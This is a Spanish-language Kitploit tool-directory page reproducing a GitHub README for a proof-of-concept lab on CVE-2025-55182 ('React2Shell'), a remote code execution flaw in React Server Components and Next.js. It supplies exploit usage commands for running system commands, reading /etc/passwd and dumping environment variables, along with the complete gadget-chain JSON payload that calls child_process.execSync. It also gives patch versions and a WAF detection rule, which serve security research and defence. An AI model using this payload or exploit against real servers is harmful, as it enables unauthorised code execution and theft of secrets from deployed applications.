Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182 | Kitploit
Herramientas/GitHubGitHub/greenheadhq/cve-2025-55182
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubgreenheadhq/cve-2025-55182

CVE-2025-55182

Ver Repositorio
11hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Entorno PoC de CVE-2025-55182 (React2Shell)

Advertencia: Este proyecto debe utilizarse solo con fines de investigación y educación en seguridad. Utilizarlo en sistemas de terceros sin autorización es ilegal.

Resumen de la vulnerabilidad

CampoDetalle
CVE IDCVE-2025-55182
AliasReact2Shell
Puntuación CVSS10.0 (Critical - severidad máxima)
Tipo de vulnerabilidadUnauthenticated Remote Code Execution (RCE)
DescubridorLachlan Davidson
Fecha de divulgación3 de diciembre de 2025

Versiones afectadas

Paquete React

  • react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

  • 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

Estructura del proyecto

root@kitploit:~
CVE-2025-55182/
├── README.md                    # Este archivo
├── vulnerable-server/           # Servidor Next.js vulnerable
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # PoC de ataque
│   ├── package.json
│   ├── poc.js                   # Script de ataque RCE
│   └── check-vulnerability.js   # Script de comprobación de vulnerabilidad
└── React2Shell-CVE-2025-55182-original-poc/  # Referencia del PoC original

Inicio rápido

1. Configurar y ejecutar el servidor vulnerable

root@kitploit:~
# Instalación de dependencias
cd vulnerable-server
npm install

# Ejecutar el servidor en modo de desarrollo (puerto 3000)
npm run dev

El servidor se ejecutará en http://localhost:3000.

2. Ejecutar el PoC de ataque

En una nueva terminal:

root@kitploit:~
# Instalación de dependencias
cd exploit
npm install

# Comprobación de vulnerabilidad
npm run check

# Ejecutar el PoC (modo de prueba)
npm run exploit

Uso del PoC de ataque

Prueba básica (console.log)

root@kitploit:~
node poc.js -m test

Ejecutar la calculadora (prueba clásica de RCE)

root@kitploit:~
# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

Ejecución de comandos del sistema (RCE)

root@kitploit:~
# Ejecutar el comando id
node poc.js -t http://localhost:3000 -m rce -c "id"

# Leer un archivo
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# Información del sistema
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

Exfiltración de variables de entorno

root@kitploit:~
node poc.js -t http://localhost:3000 -m env

Ejecución de código personalizado

root@kitploit:~
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

Análisis técnico

Causa raíz de la vulnerabilidad

Ocurre al deserializar los datos enviados por el cliente en el protocolo Flight de React Server Components.

root@kitploit:~
La función requireModule confía en los nombres de propiedades enviados por el cliente sin validarlos
→ al ejecutar moduleExports[metadata[NAME]] no se realiza la comprobación hasOwnProperty
→ es posible manipular la cadena de prototipos (Server-Side Prototype Pollution)
→ se obtiene el constructor Function → RCE

Cadena de ataque

  1. Disparador de deserialización $@x - obtención de la referencia del objeto Chunk
  2. Abuso del encadenamiento de Promise - inyección de un objeto thenable con método .then
  3. Reentrada en el parser con un objeto Chunk falso - establecimiento de status: resolved_model
  4. Construcción de la cadena de gadgets - uso de _response, _formData, etc.
  5. Obtención del constructor Function - $1:constructor:constructor
  6. Ejecución de código arbitrario - ejecución de new Function(código malicioso)

Estructura del payload

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

Métodos de parcheo

Actualizar Next.js

root@kitploit:~
# Usuarios de 15.0.x
npm install [email protected]

# Usuarios de 15.1.x
npm install [email protected]

# Usuarios de 15.2.x
npm install [email protected]

Actualizar los paquetes React

root@kitploit:~
npm install [email protected]
npm install [email protected]
npm install [email protected]

Métodos de detección

Características de las peticiones HTTP

  • Petición POST
  • Presencia de la cabecera Next-Action
  • Formato multipart/form-data
  • Patrones como $@, resolved_model, constructor en el cuerpo

Ejemplo de regla WAF

root@kitploit:~
# Detección de payloads Flight sospechosos
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

Referencias

  • Blog oficial de React
  • PoC original (Lachlan Davidson)
  • Análisis de Datadog Security Labs
  • Análisis de Wiz

Licencia

Este proyecto se proporciona únicamente con fines educativos y de investigación. Se prohíbe su uso con fines maliciosos.


Nota: Si encuentras esta vulnerabilidad en un entorno real, aplícale un parche de inmediato. Si se confirma un ataque, notifica al equipo de seguridad y realiza una investigación de compromiso.

Descargar herramienta